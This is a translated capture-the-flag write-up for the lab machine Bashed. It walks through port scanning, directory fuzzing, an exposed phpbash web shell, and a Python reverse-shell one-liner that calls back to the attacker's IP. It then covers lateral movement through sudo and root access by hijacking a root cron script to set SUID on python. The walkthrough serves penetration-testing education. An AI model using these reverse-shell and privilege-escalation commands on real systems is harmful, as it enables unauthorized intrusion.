This post was originally written in Spanish and translated into English using a large language model (LLM). Although the translation has been reviewed, it may contain inaccuracies or inconsistencies.

Description

In this post, we complete the Bashed write-up. We cover fuzzing, web shells, lateral movement, modifying Python scripts, exploiting cron jobs and escalating privileges through SUID permissions.

Reconnaissance

Port Scanning

We scan the open ports on Bashed with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap --open -p- -T5 -oG Puertos 10.10.10.68
2Host: 10.10.10.68 () Status: Up
3Host: 10.10.10.68 () Ports: 80/open/tcp//http///
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Reconocimiento Puertos

{*} Extrayendo puertos...

La direccion ip es: 10.10.10.68
Los puertos abiertos son: 80

Los puertos han sido copiados al portapapeles

We run Nmap’s default scripts against the open ports to gather more information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
File: Objetivos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap -sCV -p 80 -oN Objetivos 10.10.10.68
2Nmap scan report for 10.10.10.68
3Host is up (0.040s latency).
4
5PORT STATE SERVICE VERSION
680/tcp open http Apache httpd 2.4.18 ((Ubuntu))
7 │ |_http-title: Arrexel's Development Site
8 │ |_http-server-header: Apache/2.4.18 (Ubuntu)
9
10Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

The target appears to expose only port 80. Let us take a look.

Web Reconnaissance

The website describes a tool called phpbash.

After inspecting the page, we determine that the tool acts as a web shell. The post also indicates that it is deployed on the server.

1
2
3
4
phpbash helps a lot with pentesting. I have tested it on multiple 
different servers and it was very useful. I actually developed it on this exact server!

https://github.com/Arrexel/phpbash

Wfuzz

Knowing that the web shell is deployed, we fuzz for directories where it may be located.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ wfuzz -c --hc 404 -u http://10.10.10.68/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://10.10.10.68/FUZZ
Total requests: 220560

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 161 L 397 W 7743 Ch "# directory-list-2.3-medium.txt"
000000003: 200 161 L 397 W 7743 Ch "# Copyright 2007 James Fisher"
000000007: 200 161 L 397 W 7743 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000014: 200 161 L 397 W 7743 Ch "http://10.10.10.68/"
000000016: 301 9 L 28 W 311 Ch "images"
000000006: 200 161 L 397 W 7743 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000010: 200 161 L 397 W 7743 Ch "#"
000000005: 200 161 L 397 W 7743 Ch "# This work is licensed under the Creative Commons"
000000011: 200 161 L 397 W 7743 Ch "# Priority ordered case-sensitive list, where entries were found"
000000013: 200 161 L 397 W 7743 Ch "#"
000000012: 200 161 L 397 W 7743 Ch "# on at least 2 different hosts"
000000008: 200 161 L 397 W 7743 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000009: 200 161 L 397 W 7743 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000002: 200 161 L 397 W 7743 Ch "#"
000000004: 200 161 L 397 W 7743 Ch "#"
000000164: 301 9 L 28 W 312 Ch "uploads"
000000338: 301 9 L 28 W 308 Ch "php"
000000550: 301 9 L 28 W 308 Ch "css"
000000834: 301 9 L 28 W 308 Ch "dev"
000000953: 301 9 L 28 W 307 Ch "js"
000002771: 301 9 L 28 W 310 Ch "fonts"

Among the discovered directories, /dev/ reveals the following:

Bingo! We have access to the web shells. I will use phpbash.php.

It appears to be fully functional.

Exploitation

Reverse Shell

We send a reverse shell to our machine so that we can work more comfortably.

1- First, start an nc listener.

1
2
❯ nc -lvnp 1234
listening on [any] 1234 ...

2- Send the shell to our machine.

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3- Receive the shell.

1
2
3
4
5
6
7
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.68] 54660
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$

Interactive TTY

We follow this process to spawn an interactive TTY.

1
2
3
4
5
6
7
8
9
10
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@bashed:/var/www/html/dev$ ^Z
[1] + 4763 suspended nc -lvnp 1234
❯ stty raw -echo; fg
[1] + 4763 continued nc -lvnp 1234
reset xterm

www-data@bashed:/var/www/html/dev$ export TERM=xterm
www-data@bashed:/var/www/html/dev$ export SHELL=/bin/bash

Privilege Escalation

www-data –> Scriptmanager

As www-data, we run sudo -l to list our sudo permissions.

1
2
3
4
5
6
7
www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

We can run any command as scriptmanager, allowing us to spawn a shell as that user and escalate our privileges.

1
2
3
sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ whoami
scriptmanager

Scriptmanager –> Root

At the filesystem root, we find a scripts directory that we own.

1
2
3
4
5
6
7
8
9
drwxrwxr--   2 scriptmanager scriptmanager  4096 Jun  2 07:19 scripts

scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 07:19 .
drwxr-xr-x 23 root root 4096 Jun 2 07:25 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Aug 19 06:15 test.txt

It contains two files: one that we own and another belonging to root.

We inspect test.py and test.txt:

Test.Py

1
2
3
4
scriptmanager@bashed:/scripts$ cat test.py 
f = open("test.txt", "w")
f.write("testing 123!")
f.close

Test.Txt

1
2
scriptmanager@bashed:/scripts$ cat test.txt 
testing 123!

The test.py script appears to open test.txt in write mode, w, write the string contained in f.write("STRING"), and close the file with f.close.

Scriptmanager does not have the permissions required to do that. How is the script being executed with sufficient privileges?

Modifying the Script

We change the string that test.py writes to test.txt.

Test.Py
1
2
3
4
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("void4m0n h4ck")
f.close
Test.Txt
1
2
scriptmanager@bashed:/scripts$  cat test.txt 
void4m0n h4ck

After a short time, test.txt is successfully updated. This looks like a cron job, so we use pspy to see what is happening behind the scenes and list the processes running on the machine.

Pspy64

We follow these steps to transfer pspy64 to the victim and run it.

1- Start a Python web server.

1
2
❯ python3 -m http.server --bind 10.10.16.5
Serving HTTP on 10.10.16.5 port 8000 (http://10.10.16.5:8000/) ...

2- Download the program from the victim machine.

1
2
3
4
5
6
7
8
9
10
scriptmanager@bashed:/scripts$ wget http://10.10.16.5:8000/pspy64
--2022-08-19 07:44:43-- http://10.10.16.5:8000/pspy64
Connecting to 10.10.16.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'

pspy64 100%[===================>] 2.94M 1.55MB/s in 1.9s

2022-08-19 07:44:45 (1.55 MB/s) - 'pspy64' saved [3078592/3078592]

3- Grant it execution permissions.

1
chmod +x pspy64 

4- Run the script.

1
scriptmanager@bashed:/scripts$ ./pspy64 

5- Analyse the result.

1
2
3
4
5
6
2022/08/19 07:48:01 CMD: UID=0    PID=10374  | /usr/sbin/CRON -f 
2022/08/19 07:48:01 CMD: UID=0 PID=10375 | /usr/sbin/CRON -f
2022/08/19 07:48:01 CMD: UID=0 PID=10376 | python test.py
2022/08/19 07:49:01 CMD: UID=0 PID=10377 | /usr/sbin/CRON -f
2022/08/19 07:49:01 CMD: UID=0 PID=10378 | /usr/sbin/CRON -f
2022/08/19 07:49:01 CMD: UID=0 PID=10379 | python test.py

There is a cron job causing root, UID=0, to execute test.py every minute. Because we own this script, we can modify it to run any command as root.

Granting Python SUID Permissions

We can now escalate privileges however we wish, whether by sending ourselves a reverse shell, granting a binary SUID permissions, creating capabilities and so on.

I grant Python SUID permissions as follows.

1
2
3
scriptmanager@bashed:/scripts$ cat test.py 
import os
os.system("chmod 4777 /usr/bin/python")

We search the SUID binaries for Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
scriptmanager@bashed:/scripts$  find / -perm /4000 2>/dev/null
/bin/mount
/bin/fusermount
/bin/su
/bin/umount
/bin/ping6
/bin/ntfs-3g
/bin/ping
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/python2.7
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

All that remains is to find the command on GTFOBins.

We run it:

1
2
3
/usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Whoami
root

We are now root! Time to retrieve the flags.

Flags

User.Txt

1
2
3
4
# Pwd    
/home/arrexel
# Cat User.Txt
117cxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Root.Txt

1
2
3
4
# Pwd
/root
# Cat Root.Txt
223dxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Knowledge Gained

The Bashed machine teaches us the following:

  • Port reconnaissance with Nmap.
  • Directory fuzzing with Wfuzz.
  • Lateral movement through sudo -l.
  • Modifying Python code.
  • Exploiting insecure cron jobs.
  • Privilege escalation through SUID permissions.

Potential Errors

One possible error is the following:

  • Remember that the cron job runs once per minute. Depending on when you execute the command, you may have to wait up to a minute for the privilege escalation to occur.

Credits and References

Machine author: Arrexel. Thank you for creating Bashed and contributing it to the community.